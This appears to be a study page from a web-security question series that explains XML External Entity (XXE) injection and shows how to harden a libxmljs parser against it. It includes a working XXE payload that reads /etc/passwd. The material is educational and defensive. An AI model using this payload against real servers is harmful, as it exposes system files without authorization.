Web Security & OWASP (50 Qs)•Part 2: OWASP Top 10 & Critical Vulnerability Deep-Dives (11 - 25)
XML External Entity (XXE) Injection: Exploiting external DTDs, local file retrieval, and parser hardening.
How XXE Works
XML specifications allow the definition of custom entities via Document Type Definitions (DTDs). If an XML parser resolves external entities by default, attackers can read arbitrary server files or trigger internal network requests.
xml
<!-- Malicious XXE Payload -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user>
<username>&xxe;</username>
<email>test@example.com</email>
</user>
When the vulnerable parser processes &xxe;, it replaces the entity with the contents of /etc/passwd and returns it in the response.
Defending Against XXE
Disable external DTD parsing and entity resolution in your XML parser configuration:
typescript
// libxml2 / libxmljs hardening
const xmlDoc = libxmljs.parseXml(xmlString, {
nonet: true, // Forbid network access during parsing
dtdload: false, // Disable loading external DTDs
dtdvalid: false // Disable DTD validation
});